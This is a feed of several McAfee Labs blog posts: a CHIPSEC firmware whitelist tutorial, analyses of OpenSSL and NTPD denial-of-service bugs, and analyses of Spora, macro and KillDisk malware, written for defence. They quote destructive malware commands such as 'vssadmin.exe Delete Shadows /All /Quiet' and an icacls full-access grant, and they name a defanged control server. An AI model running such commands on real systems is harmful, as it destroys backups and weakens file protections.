CHIPSEC Support Against Vault 7 Disclosure Scanning https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/ https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/#comments Thu, 09 Mar 2017 07:09:36 +0000 https://securingtomorrow.mcafee.com/?p=70292 Following recent WikiLeaks Vault 7 disclosures, including details regarding firmware vulnerabilities, there has been significant concern regarding the integrity of devices and operating systems used within society. As part of our commitment to provide technology that can preserve the integrity of devices we rely upon, we have developed a simple module for the CHIPSEC framework …

The post CHIPSEC Support Against Vault 7 Disclosure Scanning appeared first on McAfee Blogs.

]]>
Following recent WikiLeaks Vault 7 disclosures, including details regarding firmware vulnerabilities, there has been significant concern regarding the integrity of devices and operating systems used within society.

As part of our commitment to provide technology that can preserve the integrity of devices we rely upon, we have developed a simple module for the CHIPSEC framework that can be used to verify the integrity of EFI firmware executables on potentially impacted systems.

This work is based on many years of dedicated research conducted by the Advanced Threat Research team (http://www.intelsecurity.com/atr) within the field of firmware security. CHIPSEC is a framework for analyzing the security of PC platforms including hardware, system firmware (BIOS/UEFI), and platform components. It includes a security test suite, tools for accessing various low-level interfaces, and forensic capabilities. It can be run on Windows, Linux, Mac OS X, and UEFI shell. Instructions for installing and using CHIPSEC can be found in the manual.

NOTE: This software is for security testing purposes. Use at your own risk. Read WARNING.txt before using.

The framework is available at this link: https://github.com/chipsec/chipsec

 

The following outlines a method that can be used to scan system firmware to determine whether it has been modified. The example we present shows the UEFI rootkit found in the HackingTeam disclosure (http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html). To test against the most recent disclosures, a known clean list of EFI executable binaries (whitelist) must be developed and can be checked.

Below is an example of using the new tools.uefi.whitelist module on a UEFI firmware image modified to include HackingTeam’s UEFI rootkit.

  1. Generate a whitelist of EFI executable binaries from a clean/original UEFI firmware image (file named “original” in the example below). The list is generated in “original.json.” (This step assumes that there’s a way to obtain a good clean image.) In our example, 276 EFI executables were extracted from the original UEFI firmware image.

# chipsec_main -i -n -m tools.uefi.whitelist -a generate,original.json,original

 

 

[x][ =======================================================================

[x][ Module: Simple whitelist generation/checking for UEFI firmware

[x][ =======================================================================

 

[*] reading firmware from ‘original’…

[*] generating a list of EFI executables from firmware image…

[*] found 276 EFI executables in UEFI firmware image ‘original’

[*] creating JSON file ‘C:\chipsec\original.json’…

 

  1. At a later time, one can verify the integrity of UEFI firmware extracted from flash ROM memory against this list of expected EFI executables. The previous step records hashes in the file efilist.json. In our example, we verify the integrity of another UEFI firmware image, named “unpacked.” Running the tools.uefi.whitelist module against this image with “original.json” containing the expected list (whitelist) of EFI executables yields the following output.

 

# chipsec_main -i -n -m tools.uefi.whitelist -a check,original.json,unpacked

 

[x][ =======================================================================

[x][ Module: Simple whitelist generation/checking for UEFI firmware

[x][ =======================================================================

 

[*] reading firmware from ‘unpacked’…

[*] checking EFI executables against the list ‘C:\chipsec\original.json’

[*] found 279 EFI executables in UEFI firmware image ‘unpacked’

[!] found EFI executable not in the list: d359a9546b277f16bc495fe7b2e8839b5d0389a8

<unknown>

{EAEA9AEC-C9C1-46E2-9D52-432AD25A9B0B}

ed0dc060e47d3225e21489e769399fd9e07f342e2ee0be3ba8040ead5c945efa (sha256)

[!] found EFI executable not in the list: 64d44b705bb7ae4b8e4d9fb0b3b3c66bcbaae57f

rkloader

{F50258A9-2F4D-4DA9-861E-BDA84D07A44C}

3a4cdca9c5d4fe680bb4b00118c31cae6c1b5990593875e9024a7e278819b132 (sha256)

[!] found EFI executable not in the list: 4a1628fa128747c77c51d57a5d09724007692d85

Ntfs

{F50248A9-2F4D-4DE9-86AE-BDA84D07A41C}

dd2b99df1f10459d3a9d173240e909de28eb895614a6b3b7720eebf470a988a0 (sha256)

[!] WARNING: found 3 EFI executables not in the list ‘C:\chipsec\original.json’

 

The tools.uefi.whitelist module found three additional EFI executable binaries, which were not present in the original firmware image. The “unpacked” firmware image has 279 EFI executable binaries including the 276 original executables and three executables injected by the HackingTeam’s UEFI rootkit (rkloader, Ntfs, and an unnamed EFI application).

The preceding example is just for illustration purposes and assumes you’ve extracted EFI firmware on your system prior to generating the whitelist and later before checking the firmware. This can be done with the CHIPSEC framework using the following command:

# chipsec_util spi dump firmware.bin

However, a separate step to dump the firmware image is not required when using the tools.uefi.whitelist module. It extracts EFI firmware from flash ROM memory automatically if the firmware file is not specified.

We recommend generating an EFI whitelist after purchasing a system or when you are sure it has not been infected:

# chipsec_main -m tools.uefi.whitelist -a generate

Then check the EFI firmware on your system periodically or whenever you are concerned, such as when a laptop was left unattended:

# chipsec_main -m tools.uefi.whitelist -a check

In the recent disclosures, another EFI firmware malware for Mac OSX systems, DarkMatter, has surfaced. It appears to include multiple EFI executable components that it injects into the EFI firmware on a target system at different stages of infection. If one has generated a whitelist of known good EFI executables from the firmware image beforehand, then running the new tools.uefi.whitelist module on a system with EFI firmware infected by the DarkMatter persistent implant would likely result in a detection of these extra binaries added to the firmware by the rootkit.

EFI firmware malware is a new frontier for stealth and persistent attacks that may be used by sophisticated adversaries to penetrate and persist within organizations and national infrastructure for a very long time. Use open-source CHIPSEC to defend from this threat and stay safe.

 

Additionally, the recent WikiLeaks disclosure referenced a vulnerability related to the Intel Security Stinger tool. We can confirm that the Stinger tool issue is no longer present in our current technology. Users downloading the Stinger today will not be subject to attacks using the suggested exploit scenario.

The post CHIPSEC Support Against Vault 7 Disclosure Scanning appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/feed/ 1
Analyzing CVE-2017-3731: Truncated Packets Can Cause Denial of Service in OpenSSL https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-cve-2017-3731-truncated-packets-can-cause-denial-service-openssl/ https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-cve-2017-3731-truncated-packets-can-cause-denial-service-openssl/#respond Wed, 08 Mar 2017 18:57:02 +0000 https://securingtomorrow.mcafee.com/?p=70255 OpenSSL is a popular open-source library for SSL and is used by various software and companies across the world. In January, OpenSSL released an update that fixed multiple vulnerabilities. One of them is CVE-2017-3731, which can cause a denial of service due to a crash. McAfee Labs analyzed this vulnerability to provide detection for customers.  …

The post Analyzing CVE-2017-3731: Truncated Packets Can Cause Denial of Service in OpenSSL appeared first on McAfee Blogs.

]]>
OpenSSL is a popular open-source library for SSL and is used by various software and companies across the world. In January, OpenSSL released an update that fixed multiple vulnerabilities. One of them is CVE-2017-3731, which can cause a denial of service due to a crash. McAfee Labs analyzed this vulnerability to provide detection for customers. 

Figuring out the changes using patch diff

The patch modified a couple of files related to various cipher algorithms. For this report we will examine e_chacha20_poly1305.c. The following code shows the patch to this file, taken from https://git.openssl.org/?p=openssl.git;a=commitdiff;h=2198b3a55de681e1f3c23edb0586afe13f438051.

We can see that a simple step was added to check the value of variable length against the constant POLY1305_BLOCK_SIZE and just below that we see that this constant is subtracted from the variable “len.”

If we look at the declaration, POLY1305_BLOCK_SIZE is declared in the file poly1305.h as “#define POLY1305_BLOCK_SIZE 16.” The variable len is defined in e_chacha20_poly1305.c as “unsigned int len;”

So if the variable len is less than 16, it will cause an integer underflow, that is, the value of len will become very large. When used, this value can cause problems with the normal program flow because the value of len will be incorrect.

Digging further

We can see in the preceding image that this len value is assigned to “actx->tls_payload_length.” Then the function chacha20_poly1305_cipher is called. Inside this function actx->tls_payload_length is assigned to the variable “plen”:

Notice that variable plen will now have the very large value that we got from the previous len integer underflow. We can further see that the value of plen is passed to the function poly1305_Update:

Poly1305_Update will carry this large value as it calls the function Poly1305_blocks:

If we take a closer look at the function, we can see that the variable len contains a very large integer value, which is used as the counter in a “while” loop:

We can also see a call to the function U8TOU32, which reads the value of *inp (a pointer), and that the value of *inp is increased by POLY1305_BLOCK_SIZE for each iteration of the loop. Because the value of len is very large, eventually *inp will point to nonreadable memory. Attempting to read that will cause an access violation error—resulting in an OpenSSL crash.

Exploiting the vulnerability from the network

To exploit this vulnerability, a client needs to use the chacha20_poly1305 cipher suite (or another vulnerable cipher, as can be seen from patch diff) and send an encrypted handshake message in which the record length is less than 16 bytes (in the case of chacha20_poly1305 cipher). This will cause an integer underflow and OpenSSL will crash, as we see in the following images running OpenSSL and Gnu Debugger:

Conclusion

OpenSSL is very popular and thus can be a target for denial of service attacks. These types of vulnerabilities can impact many installations. We recommend that users update their OpenSSL installations to the latest version.

McAfee Network Security Platform customers are protected against this vulnerability through signature ID: 0x45c09400.

The post Analyzing CVE-2017-3731: Truncated Packets Can Cause Denial of Service in OpenSSL appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-cve-2017-3731-truncated-packets-can-cause-denial-service-openssl/feed/ 0
Spora Ransomware Infects ‘Offline’—Without Talking to Control Server https://securingtomorrow.mcafee.com/mcafee-labs/spora-ransomware-infects-offline-without-talking-control-server/ https://securingtomorrow.mcafee.com/mcafee-labs/spora-ransomware-infects-offline-without-talking-control-server/#comments Wed, 22 Feb 2017 23:01:41 +0000 https://securingtomorrow.mcafee.com/?p=69077 Spora is a ransomware family that encrypts victims’ files and demands money to decrypt the files. It has infected many computers in a short time due to a huge spam campaign. It has a very special feature—to work offline. Propagation vector The spam campaign carries a .zip file, which contains an HTA (HTML Application) file to …

The post Spora Ransomware Infects ‘Offline’—Without Talking to Control Server appeared first on McAfee Blogs.

]]>
Spora is a ransomware family that encrypts victims’ files and demands money to decrypt the files. It has infected many computers in a short time due to a huge spam campaign. It has a very special feature—to work offline.

Propagation vector

The spam campaign carries a .zip file, which contains an HTA (HTML Application) file to evade detection from some email scanners and maximize its outreach. The contents of the email are carefully crafted to lure victims using social engineering techniques. This HTA file also tricks users by using the double extensions rtf.hta and doc.hta. If file extensions are hidden on victim’s machines, then they will see only the first extension and might be fooled into opening the file.

The spam email looks like this:

The contents of HTA file:

At runtime the HTA file drops a JavaScript file in the %Temp% folder. Further JavaScript extracts an executable with a random name (in this case: goodtdeaasdbg54.exe) in %TEMP% and executes.

The HTA file also extracts and executes a .docx file that is corrupted and returns an error to distract the victims:

Analysis

Goodtdeaasdbg54.exe is packed using the UPX packer and contains the payload (Spora). It first checks whether a copy of this file is running in memory. If not, it creates a mutex. Spora uses mutex objects to avoid infecting the system more than once.

Spora checks for the logical drives available in the system:

Once a resource is available, Spora searches for files to encrypt but avoids “windows,” “Program files,” and “games.”

Spora removes the volume shadow copies from the target’s system, thereby preventing the user from restoring the encrypted files. (A shadow copy is a Windows feature that helps users make backup copies (snapshots) of computer files or volumes.) To delete the shadow volume copies, Spora uses the command “vssadmin.exe Delete Shadows /All /Quiet.” This ransomware uses the vssadmin.exe utility to quietly delete all the shadow volume copies on the computer.

It also creates .lnk files along with .key and .lst files in the root drive.

Spora also deletes the registry value to remove the shortcut icons.

Encryption process

Step 1: It generates a random “per file AES” symmetric key for each file.

Step 2: Spora generates a local public-private key pair.

Step 3: The public key generated from Step 2 will encrypt the “per file AES” key and append it to the encrypted file.

Step 4: After encrypting all the files, Spora generates a unique AES symmetric key.

Step 5: The private key generated in Step 2 is copied into the .key file and encrypted by the unique AES key generated in Step 4.

Step 6: Finally the unique AES key is encrypted by decrypting the public key (explained below) and appending it to the .key file.

The malware author’s public key is embedded in the malware executable using a hardcoded AES key. The decrypted public key:

The decryption is possible only by the private key held by the malware author. Once the payment is done, the author may provide victims with the private RSA key to decrypt the encrypted AES key appended in the .key file. The decrypted AES key will decrypt the remaining .key file, which contains the user’s private RSA key.

The whole process is bit complex and lengthy but using this scheme Spora successfully avoids the dependency of obtaining a key from a control server and can work offline.

Key file

Spora encrypts six types of file extensions:

The .key filename contains information in the following format:

And encodes all this information with a substitution method.

In our case US736-C9XZT-RTZTZ-TRHTX-HYYYY.KEY translates to:

  • USA as locale.
  • The characters “736C9” for the beginning of the MD5 hash.
  • 10 encrypted office documents (Type 1).
  • Two encrypted PDF (Type 2).
  • Zero encrypted CorelDraw/AutoCAD/Photoshop files (Type 3).
  • Zero encrypted database files (Type 4).
  • 25 encrypted images (Type 5).
  • 15 encrypted archives (Type 6).

The decoding mechanism of .key file:

Ransom message

The ransom note is written in Russian, here with our translation:

The Spora payment site provides several packages for victims with different prices with a deadline.

The hashes used in the analysis:

  • a159ef758075c9fb64d3f06ff4b40a72e1be3061
  • 0c1007ba3ef9255c004ea1ef983e02efe918ee59

Intel Security advises users to keep their antimalware signatures up to date at all times. Intel Security products detect the malicious HTA file and Spora binary as JS/Spora.a and Ransom-Spora! [Partial hash], respectively, with DAT Versions 8435 and later.

This post was prepared with the invaluable assistance of Sourabh Kadam. 

 

The post Spora Ransomware Infects ‘Offline’—Without Talking to Control Server appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/spora-ransomware-infects-offline-without-talking-control-server/feed/ 2
Macro Malware Targets Macs https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/ https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/#respond Tue, 14 Feb 2017 20:56:57 +0000 https://securingtomorrow.mcafee.com/?p=68943 Macro malware has been spreading for years. New techniques arise all the time to hide malicious code and thus increase the difficulty of analysis. However, just targeting Microsoft Windows no longer seems to be enough for the malware authors. The Mac appears to be the new challenge, and attackers appear to be rising to this …

The post Macro Malware Targets Macs appeared first on McAfee Blogs.

]]>
Macro malware has been spreading for years. New techniques arise all the time to hide malicious code and thus increase the difficulty of analysis. However, just targeting Microsoft Windows no longer seems to be enough for the malware authors. The Mac appears to be the new challenge, and attackers appear to be rising to this challenge.

In previous versions of macro threats, the malicious code was hidden in user forms and macros in Microsoft Office files. (See Macro Malware Associated With Dridex Finds New Ways to Hide.) The latest member of this family seems to have learned a new trick or two, as we now will see.

  • The malicious code is now hidden in the properties of Excel worksheet files:

A malicious Excel file ready to be executed.

When the file is opened we see this message.

If we access the file’s properties, we can read the Powershell script code.

The full content in Properties.

Location of hidden content.

An extract of the Powershell content.

  • The malicious code runs Powershell, which downloads malware after the victim enables macros.

  • The macro searches for the hidden code in Properties and runs it using Powershell, but this works only on Windows systems. How does the malicious code execute on the Mac? The malware developers use MacScript:

The macro code verifies whether WScript.Shell is present. In case of an error, the code executes the module macshell:

This script runs the code on the Mac. The script runs with the same permissions as Microsoft Office.

As we ran this analysis, the control server contacted by this malware sample was not running; so we were unable obtain the payload.

The MD5 hash for the samples we found:

  • 952A36F4231C8628ACEA028B4145DAEC

Full descriptions of the W97M and X97M malware families are available in our Threat Advisories:

During our analysis, the malware attempted contacted the following server (with URL modified for safety):

  • hxxp://ndur0.net

Intel Security advises users to keep their antimalware signatures up to date at all times. Intel Security products detect this malicious Office Trojan as X97M/Downloader.bf.

The post Macro Malware Targets Macs appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/feed/ 0
The Cyber Threat Alliance Steps Up to Boost Protection https://securingtomorrow.mcafee.com/mcafee-labs/cyber-threat-alliance-steps-boost-protection/ https://securingtomorrow.mcafee.com/mcafee-labs/cyber-threat-alliance-steps-boost-protection/#respond Tue, 14 Feb 2017 13:00:22 +0000 https://securingtomorrow.mcafee.com/?p=69124 With each new cyber threat report, we learn about the increasing volume of new, complex threats appearing across a myriad of server systems, networking equipment, personal computing platforms, and IoT devices. We also read about the real-world challenges that information security professionals face when attempting to identify, scope, and prioritize security events generated by their …

The post The Cyber Threat Alliance Steps Up to Boost Protection appeared first on McAfee Blogs.

]]>
With each new cyber threat report, we learn about the increasing volume of new, complex threats appearing across a myriad of server systems, networking equipment, personal computing platforms, and IoT devices. We also read about the real-world challenges that information security professionals face when attempting to identify, scope, and prioritize security events generated by their security systems.

In some environments, this volume can be measured in the millions or tens of millions of events per day. Security practitioners need help identifying the under-the-radar, high-risk incident and breach events from the huge volume of legitimate but less critical security events, and they need help automating and coordinating their security protection actions across multiple technologies and vendors so they can decrease the time to protect.

Enter the Cyber Threat Alliance. The CTA has grown from a research collaboration between Intel Security, Palo Alto Networks, Symantec, and Fortinet into a newly incorporated “not for profit” organization that combines the threat intelligence capabilities of some of the top companies in the cybersecurity industry to tackle the problem of isolated knowledge, which limits each company’s ability to protect its customers as quickly as possible. Also announced this week is the addition of Cisco and Check Point as founding members.

CTA member executives Chris Young, Senior VP and General Manager, Intel Security Group, Intel Corporation; Michael Daniel, president, Cyber Threat Alliance; Mark McLaughlin, chairman and CEO, Palo Alto Networks; Amnon Bar-Lev, President, Check Point; Marty Roesch, Chief Architect, Cisco Security; Greg Clark, CEO Symantec; Ken Xie, founder, chairman of the board and CEO, Fortinet.

The CTA is focused on tackling the problem of fractured intelligence in the cybersecurity market, and so the organization has created a dynamic real-time trust exchange for threat indicator sharing, validation, and monitoring. Gathering, contextualizing, and sharing knowledge among CTA members using this automated exchange will enable us to protect customers in real time and prioritize resources based on collective knowledge.

At Intel Security, we believe in the power of together—the power of sharing intelligence to strengthen critical infrastructure and protect our customers. We are very excited about the potential for the Cyber Threat Alliance. To learn more, visit www.cyberthreatalliance.org. To learn more about threat intelligence sharing and Intel Security’s part in that effort, visit www.mcafee.com/threatintelligencesharing. If you are part of the security vendor community and want to learn more about becoming a member of the CTA, please email membership@cyberthreatalliance.com.

The post The Cyber Threat Alliance Steps Up to Boost Protection appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/cyber-threat-alliance-steps-boost-protection/feed/ 0
Analyzing KillDisk Ransomware, Part 2: Variants and Screen Unlocking https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-killdisk-ransomware-part-2-variants-screen-unlocking/ https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-killdisk-ransomware-part-2-variants-screen-unlocking/#respond Tue, 14 Feb 2017 07:50:13 +0000 https://securingtomorrow.mcafee.com/?p=68533 At McAfee Labs we recently analyzed the ransomware KillDisk. In part 1 of this analysis, we discussed the basics of the malware and its whitelisting to protect itself. In this part, we will provide more information about the malware’s internals, this variant, and steps to unlock the ransomware lock screen. Variant 1. This variant seems to be inspired by …

The post Analyzing KillDisk Ransomware, Part 2: Variants and Screen Unlocking appeared first on McAfee Blogs.

]]>
At McAfee Labs we recently analyzed the ransomware KillDisk. In part 1 of this analysis, we discussed the basics of the malware and its whitelisting to protect itself. In this part, we will provide more information about the malware’s internals, this variant, and steps to unlock the ransomware lock screen.

Variant 1. This variant seems to be inspired by the TV series “Mr. Robot.” The lock screen uses the string “We are fSociety”:

KillDisk Ransom-note

The KillDisk ransom note.

While analyzing the encryption process of this variant, we observed some strange behavior. In contrast to Variant 2, this one behaved more like a destroyer, overwriting all the files with specific bytes. This step makes the data irrecoverable. Hence this variant’s block screen has no payment information. Instead, it appeals to victims to join them.

Variant 2. This variant works like normal ransomware, encrypting data files. It keeps the encrypted data in each locked file along with some more bytes including an infection marker. For more information about this variant, refer to Part 1 of this post.

Analysis

Although the encryption of both the variants is different, they show the same arguments and behavior based on those arguments. We found three arguments, which we shall discuss.

  • -set
  • -est
  • -opt

KillDisk uses these arguments in key-value pairs and checks the values for the given key.

-est. The value of this argument is in minutes. This argument is used to store the “current time + minutes” in the registry.

-set. This argument is used to create service and registry entries. It receives the value in Date#Time format (for example, “-set=20.12.2016#05:00”) to fill the registry entry it creates. Before proceeding, it tries to get the handle of the event using OpenEvent() API, to check whether the malware is already executed. The event name has the following format:

                Global\{CLSID}

If the malware finds the event, it first cleans up the registry and deletes the service. It then recreates the service and the registry with updated values.

The malware uses the WinExec() API to execute the sc command, which creates a service whose binary path is set to itself, along with argument -opt=svc. (We will explain later.)

Calling WinExec() to create service

Calling WinExec() to create a service.

Both variants have different service names. The following screenshots show the services created by the variants.

Service installed by Malware (both variant)

Services installed by KillDisk (both variants).

Comparing the registry keys created by the variants, we infer that they have different names and paths. But the data in the registry values are the same and have been filled using the same method. KillDisk uses –set and –est argument values passed to the executable. It creates three registry values that store time, in TimeStamp format, that is, seconds since 1/1/1970. Here is more information about registry values:

First registry value             :            Current time

Second registry value        :            Time given with -set argument

Third registry value           :            Current time + minutes given in -est argument

The following screenshot shows the registry entries created by the malware when executing with the arguments -set=20.12.2016#05:00 -est=1440:

Registry Entries

Registry entries.

Both the variants use different registry path, key and value names.

-opt. This argument has five values:

  • frc
  • chk
  • cnc
  • svc
  • pic

The malware’s behavior depends on the values of this argument, which the malware keeps in encrypted form. Before comparing the argument values, KillDisk first decrypts them. The following code snippet shows the decryption and comparison of argument values:

Decrypting and Comparing ‘-opt’ argument values

Decrypting and comparing -opt argument values.

Let’s see how the malware behaves with different argument values.

-opt=pic. This value leads to the creation of the ransom note and locking the screen. The malware imports functions from GDI32.dll and User32.dll to design the image. It opens a window using the CreateWindow() API and then creates the image over it. The following code snippet from Variant 2 draws the ransom message on the screen:

Ransom-note creation code (variant 2)

Ransom note creation code in Variant 2. RGB (255, 83, 0) is a shade of orange.

After creating the ransom note, KillDisk starts a thread that keeps the window always on top by using the SetWindowPos() and SetForegroundWindow() APIs with specific arguments. The following code keeps the ransom note on top:

Code to keep Ransom-note on Top

The HWND_TOPMOST flag places the window above all non-topmost windows, even after the window is deactivated.

-opt=frc. This value triggers the encryption process. Variant 1, the destroyer malware, overrides the files with 0x100 bytes that contain either the string “mrR0b07” or “fS0cie7y,” both inspired by the TV series “Mr. Robot.” The following screenshot shows the infected files:

Infected Files from variant 2

Files infected files by Variant 2.

Before overwriting the files, the malware ensures that it has full access to the file. To get the access rights, it uses the Windows tool icacls.exe to modify the Access Control Lists for files and folders:

Modifying Access Control List for all files from ‘C’ drive

Modifying the Access Control List for all files from C drive.

  • /T  =>  Traverse all subfolders
  • /C  =>  Continue on file errors
  • /Q =>  Quiet, suppress success messages
  • /grant user: permission =>  Grant access rights to the user, F: Full access

This variant also creates 50MB garbage files (filled with null) on the Windows drive, to fill up the disk space. To keep the garbage files, it creates a folder at the root of the Windows drive with a CLSID name. To hide them from victims, the malware keeps the folder attribute to system hidden.

-opt=cnc. This value is used to clean the malware from the system. It uses the ControlService() API to send a stop signal to the service and the QueryServiceConfigA() API to get the file path from the service properties. The malware then deletes the registry entries and service from the system and also deletes the file.

-opt=chk. This value is likely to be used during debugging. It checks for the service and registry entries, and then prints accordingly.

-opt=svc. This value is given to the application while installing the service. It leads to the execution of the service handler function, registered through the RegisterServiceCtrlHandler() API. While debugging the code, we can see the code that executes commands to ping the local host and then delete itself with the help of the WinExec() API:

WinExec() execute commands to ping and delete itself

WinExec() executes commands to ping and delete itself.

On restarting, this malware deletes itself but it does not remove the service and remains installed.

Unlocking the screen

We successfully bypassed the ransom note block screen with the help of “Windows key + tab” feature, which is available in Windows 7 and later versions.

To use this technique, you’ll need Window 7 or later infected with KillDisk, a keyboard connected to the system, and good eyes. (You have to look carefully.) See our demo video.

Here are the steps to unlock the blocking screen of KillDisk:

Step 1: Press Windows Key + Tab. You will be prompted with the open applications window.

Step 2: Press “Windows Key + D” or switch to the desktop using Step 1.

Step 3: Open “run” using “Windows key + R” and check whether you have the run window using Step 1.

Step 4: Type “cmd” and hit enter. You will get the command prompt; confirm using Step 1.

Step 5: Type “tasklist” and Hit enter.

Step 6: Using “Windows Key + Tab,” check the process name on the list. (Good eyes needed.)

Because the malware killed all the other processes, it is likely all the processes will appear in a single command window. If not, change the command prompt size using the following command:

               mode con: cols=Value lines=Value                   // Update “Value” to fit your display

Step 7: After getting the process list, identify the malware process from the output of tasklist. If you know the malware process name, good. Otherwise you have to check the running processes from the whitelist previously mentioned and select the process that is not on the list. (That will likely be the malware process.)

Step 8: Get the PID of the malware process from the second column of the tasklist output.

Step 9: After getting the malware PID, kill the process using the following command:

               Taskkill /PID Malware_PID /F

After following these steps successfully, you will get your system back but the files will still be encrypted. This technique might work on other ransomware.

Conclusion

KillDisk is new to the world of ransomware. It has implemented a whitelisting technique to protect itself. We have discussed its internal working and a way to unlock the screen locked by ransomware.

McAfee products detect all known variants of this malware.

The post Analyzing KillDisk Ransomware, Part 2: Variants and Screen Unlocking appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-killdisk-ransomware-part-2-variants-screen-unlocking/feed/ 0
Intel Security Launches ‘Threat Landscape Dashboard’ https://securingtomorrow.mcafee.com/mcafee-labs/intel-security-launches-threat-landscape-dashboard/ https://securingtomorrow.mcafee.com/mcafee-labs/intel-security-launches-threat-landscape-dashboard/#comments Fri, 10 Feb 2017 20:10:10 +0000 https://securingtomorrow.mcafee.com/?p=69068 Every week, we read in the news of another breach or targeted campaign, as more patches are released to protect against the next strain of sophisticated malware. For the administrators responsible for safeguarding a company’s systems, networks, and digital information, keeping up is an overwhelming task, made doubly difficult because it is often hard to …

The post Intel Security Launches ‘Threat Landscape Dashboard’ appeared first on McAfee Blogs.

]]>
Every week, we read in the news of another breach or targeted campaign, as more patches are released to protect against the next strain of sophisticated malware. For the administrators responsible for safeguarding a company’s systems, networks, and digital information, keeping up is an overwhelming task, made doubly difficult because it is often hard to determine the most significant threats.

To serve those admins, Intel Security began work nine months ago to design a new dashboard that identifies the most significant threats and illustrates the relationships between them.

We want to assist security practitioners when they make decisions about which vulnerabilities should be patched first, based on the prevalence of attacks that exploit those vulnerabilities.

Using vulnerabilities as the pivot point, the Threat Landscape Dashboard illustrates the relationships among exploit kits, campaigns, and ransomware. For example, the RIG exploit kit takes advantage of vulnerabilities that are used to spread certain ransomware families. Further, some of these vulnerabilities are also seen in targeted campaigns. Consequently, we can show links between exploit kits and targeted campaigns through vulnerability correlation. We also calculate a “risk score” for each threat and campaign, and recently added a “media score,” too. Monitoring and processing information from social media feeds, we calculate a score for the press attention received by the specific threat or campaign.

On each threat’s details page, we provide reference links to more information about the threat, including the source, blogs, and whitepapers. The dashboard also supports RSS feeds.

This is just the beginning for the Threat Landscape Dashboard; we are eager for your feedback. In the near future we plan to expand the dashboard with detailed threat descriptions and more contextual data. That information will be available through the RSS feed so users can import the feed and, based on keywords, filter the incoming stream.

To view the Threat Landscape Dashboard, visit tld.mcafee.com. It is also accessible through the Threat Center at www.mcafee.com/threatcenter. To provide feedback on the dashboard, please email me at christiaan[dot]beek[at]intel[dot]com.

The post Intel Security Launches ‘Threat Landscape Dashboard’ appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/intel-security-launches-threat-landscape-dashboard/feed/ 2
Analyzing CVE-2016-9311: NTPD Vulnerability Can Lead to Denial of Service https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-cve-2016-9311-ntpd-vulnerability-can-lead-denial-service/ https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-cve-2016-9311-ntpd-vulnerability-can-lead-denial-service/#respond Fri, 03 Feb 2017 00:06:59 +0000 https://securingtomorrow.mcafee.com/?p=68770 The network time protocol synchronizes time across various devices on a network. The network time protocol daemon (NTPD) is an open-source implementation of this protocol. In the last couple of months, a number of vulnerabilities have been reported in NTPD. One is CVE-2016-9311, which can cause a crash leading to a denial of service. We …

The post Analyzing CVE-2016-9311: NTPD Vulnerability Can Lead to Denial of Service appeared first on McAfee Blogs.

]]>
The network time protocol synchronizes time across various devices on a network. The network time protocol daemon (NTPD) is an open-source implementation of this protocol. In the last couple of months, a number of vulnerabilities have been reported in NTPD. One is CVE-2016-9311, which can cause a crash leading to a denial of service. We have analyzed this vulnerability and provided detection for our customers. In this post we take a detailed look at this vulnerability.

Finding the changes

Examining the patch, we found that the function “report_event” in ntp_control.c holds the fix for this vulnerability. The patch diff tool gives us the following screen (taken from http://bugs.ntp.org/attachment.cgi?id=1460&action=diff):

 

The left side of the preceding image shows the unpatched code, while right side has the patched code.

In the vulnerable version of code there is one assert statement:

INSIST(peer!=NULL)

INSIST is defined in ntp_assert.h. If peer==NULL, then the assertion will fail and NTPD will crash.

In the fixed version, we can see that the INSIST(peer!=NULL) statement is replaced by a simple “if” check:

if ((err & PEER_EVENT) && !peer)

return

This if statement checks whether the value of “peer” is null. If so, it will simply return and prevent a crash.

Analyzing the root cause

To trigger this vulnerability, program flow needs to reach the “report_event” function with a parameter such that the INSIST assertion check fails. (The variable “peer” should be null.)

When NTPD receives a packet, it goes to the function “receive” in ntp_proto.c. The “receive” function performs various checks on the received packet; one checks for valid or invalid crypto-negative acknowledgement (crypto-NAK) packets:

If NTPD receives an invalid NAK packet, it will call the vulnerable function “report_event.” In this vulnerable function, a check looks for the number of traps. If no traps are configured on NTPD, then the function will simply return and the vulnerable code path will not be taken.

This vulnerability can be exploited only if traps are enabled in NTPD. To check for invalid NAK packets, the function “valid_NAK” is present in ntp_proto.c:

As we see in the preceding image, the following conditions will mark a packet as an invalid NAK:

  • If mode is not MODE_SERVER and mode is not MODE_ACTIVE and mode is not MODE_PASSIVE.
  • If keyid is not 0.
  • If there is no peer or peer does not have a key.
  • If the origin does not match.

If the trap functionality is enabled on NTP, then sending an “invalid NAK” packet with no peer present will trigger this vulnerability. We can confirm this using a debugger on vulnerable version. The following screen shows NTPD crashing because of this assertion failure:

Conclusion

This vulnerability can be exploited only on NTPD installations with traps configured to cause a denial of service; traps are not enabled by default. Authorization is not required to exploit this vulnerability.

Apply the latest patches or use an up-to-date version of NTPD to guard against this vulnerability. Customers of McAfee Network Security Platform are protected from this vulnerability through signature ID 0x41b01100.

References

The post Analyzing CVE-2016-9311: NTPD Vulnerability Can Lead to Denial of Service appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-cve-2016-9311-ntpd-vulnerability-can-lead-denial-service/feed/ 0
